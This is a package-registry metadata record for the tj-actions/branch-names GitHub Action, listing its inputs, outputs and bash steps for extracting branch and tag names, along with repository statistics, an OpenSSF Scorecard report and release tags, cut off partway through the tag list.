{"id":6326647,"name":"tj-actions/branch-names","ecosystem":"actions","description":"Retrieve GitHub branch or tag information without the /ref/* prefix","homepage":"","licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/tj-actions/branch-names","keywords_array":["actions","branch","branches","branching","cd","ci","ci-cd","git-branch","github","github-actions","github-actions-ci","github-branch-test","github-branches","workflows"],"namespace":"tj-actions","versions_count":54,"first_release_published_at":"2020-12-11T15:23:15.000Z","latest_release_published_at":"2025-07-31T00:45:38.000Z","latest_release_number":"v9.0.2","last_synced_at":"2026-10-09T17:11:23.454Z","created_at":"2023-02-13T13:23:28.380Z","updated_at":"2026-10-09T17:11:23.454Z","registry_url":"https://github.com/tj-actions/branch-names","install_command":null,"documentation_url":null,"metadata":{"name":"Branch Names","description":"Retrieve GitHub branch or tag information without the /ref/* prefix","author":"tj-actions","inputs":{"strip_tag_prefix":{"description":"The prefix that should be stripped from the tag e.g. `v` -\u003e with a tag `v0.0.1` -\u003e returns `0.0.1`","default":"","required":false},"strip_branch_prefix":{"description":"The prefix that should be stripped from the branch e.g. `release/` -\u003e with a branch `release/1.0` -\u003e returns `1.0`","default":"","required":false},"replace_slashes_with_hyphens":{"description":"Replace forward slashes with hyphens in branch names e.g. `feature/test` -\u003e `feature-test`","default":"false","required":false}},"outputs":{"is_default":{"value":"${{ steps.default.outputs.is_default }}","description":"Returns `\"true\"` if the current branch is the default else `\"false\"`."},"is_tag":{"value":"${{ steps.tag.outputs.is_tag }}","description":"Returns `\"true\"` if the current branch is a tag else `\"false\"`."},"default_branch":{"value":"${{ steps.default.outputs.default_branch }}","description":"The default branch name e.g `main` OR `master`"},"current_branch":{"value":"${{ steps.current_branch.outputs.current_branch }}","description":"The current branch name regardless of event_type e.g `main`, `feature/test`"},"base_ref_branch":{"value":"${{ steps.branch.outputs.base_ref_branch }}","description":"The target branch of a pull request or tag e.g `main`"},"head_ref_branch":{"value":"${{ steps.branch.outputs.head_ref_branch }}","description":"The source branch of a pull request e.g `feature/test`"},"ref_branch":{"value":"${{ steps.branch.outputs.ref_branch }}","description":"The branch that triggered the workflow run. e.g `1/merge`, `main`"},"tag":{"value":"${{ steps.tag.outputs.tag }}","description":"The tag that triggered the workflow run. e.g `v0.0.1`, `0.0.1`"}},"runs":{"using":"composite","steps":[{"id":"branch","env":{"GITHUB_REF":"${{ github.ref }}","GITHUB_BASE_REF":"${{ github.event.pull_request.base.ref || github.base_ref }}","GITHUB_HEAD_REF":"${{ github.event.pull_request.head.ref || github.head_ref }}","GITHUB_EVENT_BASE_REF":"${{ github.event.base_ref }}","INPUTS_STRIP_TAG_PREFIX":"${{ inputs.strip_tag_prefix }}","INPUTS_STRIP_BRANCH_PREFIX":"${{ inputs.strip_branch_prefix }}","INPUTS_REPLACE_SLASHES":"${{ inputs.replace_slashes_with_hyphens }}"},"run":"# \"Set branch names...\"\nif [[ \"$GITHUB_REF\" != \"refs/tags/\"* ]]; then\n  BASE_REF=$(printf \"%q\" \"$GITHUB_BASE_REF\")\n  HEAD_REF=$(printf \"%q\" \"$GITHUB_HEAD_REF\")\n  REF=$(printf \"%q\" \"$GITHUB_REF\")\n\n  BASE_REF=${BASE_REF/refs\\/heads\\//}\n  HEAD_REF=${HEAD_REF/refs\\/heads\\//}\n  REF_BRANCH=${REF/refs\\/pull\\//}\n  REF_BRANCH=${REF_BRANCH/refs\\/heads\\//}\n\n  # Strip branch prefix if provided\n  REF_BRANCH=${REF_BRANCH/$INPUTS_STRIP_BRANCH_PREFIX/}\n  HEAD_REF=${HEAD_REF/$INPUTS_STRIP_BRANCH_PREFIX/}\n\n  # Replace slashes with hyphens if enabled\n  if [[ \"$INPUTS_REPLACE_SLASHES\" == \"true\" ]]; then\n    BASE_REF=${BASE_REF//\\//-}\n    HEAD_REF=${HEAD_REF//\\//-}\n    REF_BRANCH=${REF_BRANCH//\\//-}\n  fi\n\n  printf \"base_ref_branch=%s\\n\" \"$BASE_REF\" \u003e\u003e \"$GITHUB_OUTPUT\"\n  printf \"head_ref_branch=%s\\n\" \"$HEAD_REF\" \u003e\u003e \"$GITHUB_OUTPUT\"\n  printf \"ref_branch=%s\\n\" \"$REF_BRANCH\" \u003e\u003e \"$GITHUB_OUTPUT\"\nelse\n  BASE_REF=$(printf \"%q\" \"$GITHUB_EVENT_BASE_REF\")\n  BASE_REF=${BASE_REF/refs\\/heads\\/$INPUTS_STRIP_TAG_PREFIX/}\n\n  # Replace slashes with hyphens if enabled\n  if [[ \"$INPUTS_REPLACE_SLASHES\" == \"true\" ]]; then\n    BASE_REF=${BASE_REF//\\//-}\n  fi\n  printf \"base_ref_branch=%s\\n\" \"$BASE_REF\" \u003e\u003e \"$GITHUB_OUTPUT\"\nfi\n","shell":"bash"},{"id":"current_branch","env":{"GITHUB_REF":"${{ github.ref }}","GITHUB_EVENT_NAME":"${{ github.event_name }}","HEAD_REF_BRANCH":"${{ steps.branch.outputs.head_ref_branch }}","REF_BRANCH":"${{ steps.branch.outputs.ref_branch }}"},"run":"# \"Set the current branch name...\"\nif [[ \"$GITHUB_REF\" != \"refs/tags/\"* ]]; then\n  if [[ \"$GITHUB_EVENT_NAME\" == *\"pull_request\"* ]]; then\n    echo \"current_branch=$HEAD_REF_BRANCH\" \u003e\u003e \"$GITHUB_OUTPUT\"\n  else\n    echo \"current_branch=$REF_BRANCH\" \u003e\u003e \"$GITHUB_OUTPUT\"\n  fi\nfi\n","shell":"bash"},{"id":"default","env":{"GITHUB_REF":"${{ github.ref }}","CURRENT_BRANCH":"${{ steps.current_branch.outputs.current_branch }}","DEFAULT_BRANCH":"${{ github.event.repository.default_branch }}","FORK":"${{ github.event.pull_request.head.repo.fork }}"},"run":"# \"Set the default branch name...\"\nif [[ \"$GITHUB_REF\" != \"refs/tags/\"* ]]; then\n  if [[ \"$CURRENT_BRANCH\" == \"$DEFAULT_BRANCH\" \u0026\u0026 \"$FORK\" != \"true\" ]]; then\n    echo \"is_default=true\" \u003e\u003e \"$GITHUB_OUTPUT\"\n    echo \"default_branch=$DEFAULT_BRANCH\" \u003e\u003e \"$GITHUB_OUTPUT\"\n  else\n    echo \"is_default=false\" \u003e\u003e \"$GITHUB_OUTPUT\"\n    echo \"default_branch=$DEFAULT_BRANCH\" \u003e\u003e \"$GITHUB_OUTPUT\"\n  fi\nfi\n","shell":"bash"},{"id":"tag","env":{"GITHUB_REF":"${{ github.ref }}","INPUTS_STRIP_TAG_PREFIX":"${{ inputs.strip_tag_prefix }}","INPUTS_REPLACE_SLASHES":"${{ inputs.replace_slashes_with_hyphens }}"},"run":"# \"Set the tag name...\"\nif [[ \"$GITHUB_REF\" == \"refs/tags/\"* ]]; then\n  REF=$(printf \"%q\" \"$GITHUB_REF\")\n  TAG=\"${REF/refs\\/tags\\/$INPUTS_STRIP_TAG_PREFIX/}\"\n\n  # Replace slashes with hyphens if enabled\n  if [[ \"$INPUTS_REPLACE_SLASHES\" == \"true\" ]]; then\n    TAG=${TAG//\\//-}\n  fi\n\n  printf \"tag=%s\\n\" \"$TAG\" \u003e\u003e \"$GITHUB_OUTPUT\"\n  echo \"is_tag=true\" \u003e\u003e \"$GITHUB_OUTPUT\"\nelse\n  echo \"is_tag=false\" \u003e\u003e \"$GITHUB_OUTPUT\"\nfi\n","shell":"bash"}]},"branding":{"icon":"git-branch","color":"white"},"default_branch":"main","path":null},"repo_metadata":{"id":37860366,"uuid":"320395719","full_name":"tj-actions/branch-names","owner":"tj-actions","description":":octocat: Github action to retrieve branch or tag names with support for all events.","archived":false,"fork":false,"pushed_at":"2026-08-03T12:23:37.000Z","size":769,"stargazers_count":236,"open_issues_count":2,"forks_count":30,"subscribers_count":2,"default_branch":"main","last_synced_at":"2026-09-26T02:56:13.103Z","etag":null,"topics":["actions","branch","branches","branching","cd","ci","ci-cd","git-branch","github","github-actions","github-actions-ci","github-branch-test","github-branches","workflows"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/tj-actions.png","metadata":{"files":{"readme":"README.md","changelog":"HISTORY.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null},"funding":{"github":["jackton1"],"patreon":null,"open_collective":"tj-actions","ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":[]}},"created_at":"2020-12-10T21:35:58.000Z","updated_at":"2026-09-19T23:13:41.000Z","dependencies_parsed_at":"2024-01-21T18:29:31.029Z","dependency_job_id":"f16c7baa-c243-48e2-b8c9-92bdb4ba01bc","html_url":"https://github.com/tj-actions/branch-names","commit_stats":{"total_commits":564,"total_committers":13,"mean_commits":43.38461538461539,"dds":0.5283687943262412,"last_synced_commit":"e03878996b350fdc5d210d67e84a6ad17cfa992a"},"previous_names":[],"tags_count":54,"template":false,"template_full_name":null,"purl":"pkg:github/tj-actions/branch-names","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tj-actions","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/sbom","scorecard":{"id":888048,"data":{"date":"2025-08-11","repo":{"name":"github.com/tj-actions/branch-names","commit":"45f144a674cdf76a501501c9bd29076b77be7f9a"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.9,"checks":[{"name":"Maintained","score":9,"reason":"11 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 9","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Code-Review","score":0,"reason":"Found 0/21 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Pinned-Dependencies","score":4,"reason":"dependency not pinned by hash detected -- score normalized to 4","details":["Warn: third-party GitHubAction not pinned by hash: .github/workflows/codacy-analysis.yml:37: update your workflow using https://app.stepsecurity.io/secureworkflow/tj-actions/branch-names/codacy-analysis.yml/main?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codacy-analysis.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/tj-actions/branch-names/codacy-analysis.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/update-readme.yml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/tj-actions/branch-names/update-readme.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/update-readme.yml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/tj-actions/branch-names/update-readme.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/update-readme.yml:31: update your workflow using https://app.stepsecurity.io/secureworkflow/tj-actions/branch-names/update-readme.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/update-readme.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/tj-actions/branch-names/update-readme.yml/main?enable=pin","Info:   4 out of   5 GitHub-owned GitHubAction dependencies pinned","Info:   4 out of   9 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/codacy-analysis.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/sync-release-version.yml:4","Warn: no topLevel permission defined: .github/workflows/test.yml:1","Warn: topLevel 'contents' permission set to 'write': .github/workflows/update-readme.yml:9","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":3,"reason":"branch protection is not maximal on development and all release branches","details":["Info: 'allow deletion' disabled on branch 'main'","Info: 'force pushes' disabled on branch 'main'","Warn: 'branch protection settings apply to administrators' is disabled on branch 'main'","Warn: branch 'main' does not require approvers","Warn: codeowners review is not required on branch 'main'","Info: status check found to merge onto on branch 'main'","Warn: PRs are not required to make changes on branch 'main'; or we don't have data to detect it.If you think it might be the latter, make sure to run Scorecard with a PAT or use Repo Rules (that are always public) instead of Branch Protection settings"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":8,"reason":"SAST tool is not run on all commits -- score normalized to 8","details":["Warn: 19 commits out of 23 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-24T10:45:15.636Z","repository_id":37860366,"created_at":"2025-08-24T10:45:15.637Z","updated_at":"2025-08-24T10:45:15.637Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":341189360,"owners_count":37704565,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-26T02:00:06.440Z","response_time":102,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"tj-actions","name":"tj-actions","uuid":"67116787","kind":"organization","description":"","email":"support@tj-actions.online","website":null,"location":"Canada","twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/67116787?v=4","repositories_count":49,"last_synced_at":"2024-04-14T17:23:43.854Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/tj-actions","funding_links":[],"total_stars":2211,"followers":65,"following":0,"created_at":"2022-11-14T06:10:42.667Z","updated_at":"2024-04-14T17:23:47.758Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tj-actions","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/tj-actions/repositories"},"tags":[{"name":"v9.0.2","sha":"5250492686b253f06fa55861556d1027b067aeb5","kind":"commit","published_at":"2025-07-31T00:45:38.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v9.0.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v9.0.2","dependencies_parsed_at":"2025-08-11T04:36:46.446Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v9.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9.0.2/manifests"},{"name":"v9","sha":"6be34a848cdd6067dda01ded8bd9b0853bbe3b23","kind":"commit","published_at":"2025-07-26T07:30:28.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v9","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v9","dependencies_parsed_at":"2025-07-29T04:20:47.829Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9/manifests"},{"name":"v9.0.1","sha":"386e117ea34339627a40843704a60a3bc9359234","kind":"commit","published_at":"2025-07-26T07:29:18.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v9.0.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v9.0.1","dependencies_parsed_at":"2025-07-29T04:20:48.438Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v9.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9.0.1/manifests"},{"name":"v9.0.0","sha":"e497ceb8ccd43fd9573cf2e375216625bc411d1f","kind":"commit","published_at":"2025-07-25T17:49:18.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v9.0.0","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v9.0.0","dependencies_parsed_at":"2025-07-27T04:25:30.587Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v9.0.0/manifests"},{"name":"v8.2.1","sha":"dde14ac574a8b9b1cedc59a1cf312788af43d8d8","kind":"commit","published_at":"2025-04-11T19:27:55.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v8.2.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v8.2.1","dependencies_parsed_at":"2025-04-14T04:20:03.949Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v8.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.2.1/manifests"},{"name":"v8.2.0","sha":"47dfecabcf7a70329c1d7fc49d56ce56739c5420","kind":"commit","published_at":"2025-04-11T17:58:40.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v8.2.0","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v8.2.0","dependencies_parsed_at":"2025-04-14T04:20:03.949Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.2.0/manifests"},{"name":"v8.1.0","sha":"f44339b51f74753b57583fbbd124e18a81170ab1","kind":"commit","published_at":"2025-03-23T11:27:29.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v8.1.0","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v8.1.0","dependencies_parsed_at":"2025-03-26T04:24:30.514Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.1.0/manifests"},{"name":"v8.0.2","sha":"394802c2335dc81582b3569322f3d7da41a9978e","kind":"commit","published_at":"2025-03-15T23:30:06.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v8.0.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v8.0.2","dependencies_parsed_at":"2025-03-26T04:24:30.520Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v8.0.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.0.2/manifests"},{"name":"v8.0.1","sha":"6871f53176ad61624f978536bbf089c574dc19a2","kind":"commit","published_at":"2024-02-07T06:05:51.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v8.0.1","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v8.0.1","dependencies_parsed_at":"2024-02-11T04:54:06.446Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.0.1/manifests"},{"name":"v8.0.0","sha":"6b29454859d080290fc5e9c05ee4e82b9156404b","kind":"commit","published_at":"2023-12-05T10:03:35.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v8.0.0","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v8.0.0","dependencies_parsed_at":"2023-12-09T04:20:30.860Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8.0.0/manifests"},{"name":"v8","sha":"6b29454859d080290fc5e9c05ee4e82b9156404b","kind":"commit","published_at":"2023-12-05T10:03:35.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v8","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v8","dependencies_parsed_at":"2023-12-09T04:20:31.976Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v8/manifests"},{"name":"v7.0.7","sha":"6c999acf206f5561e19f46301bb310e9e70d8815","kind":"commit","published_at":"2023-12-03T06:33:07.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.7","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.7","dependencies_parsed_at":"2023-12-05T04:07:38.477Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.7/manifests"},{"name":"v7.0.6","sha":"ab304d8562e2f137165e1d930e6d22d431189074","kind":"commit","published_at":"2023-11-01T07:00:38.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.6","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.6","dependencies_parsed_at":"2023-11-03T04:19:33.715Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.6/manifests"},{"name":"v7.0.5","sha":"033f2358d95522973eee35810e35a86fae4a71d8","kind":"commit","published_at":"2023-08-29T11:54:26.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.5","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.5","dependencies_parsed_at":"2023-09-03T04:38:40.948Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.5/manifests"},{"name":"v7.0.4","sha":"f7cfbc8edeb70a87ebec52e94fa8366f5077d0bc","kind":"commit","published_at":"2023-08-26T23:14:28.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.4","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.4","dependencies_parsed_at":"2023-09-03T04:38:43.051Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.4/manifests"},{"name":"v7.0.3","sha":"309671a59e1143038c2a50f009b6adf301f6aa71","kind":"commit","published_at":"2023-08-24T04:12:01.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.3","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.3","dependencies_parsed_at":"2023-08-25T04:13:46.142Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/tj-actions%2Fbranch-names/tags/v7.0.3/manifests"},{"name":"v7.0.2","sha":"636cfe47b2002897ee4d3f07792c9fdd5d7dc725","kind":"commit","published_at":"2023-07-05T23:11:56.000Z","download_url":"https://codeload.github.com/tj-actions/branch-names/tar.gz/v7.0.2","html_url":"https://github.com/tj-actions/branch-names/releases/tag/v7.0.2","dependencies_parsed_at":"2023-07-10T04:13:26.372Z","dependency_job_id":null,"purl":"pkg:github/tj-actions/branch-names@v7.0.2","tag_url":"https://repos.ecosyst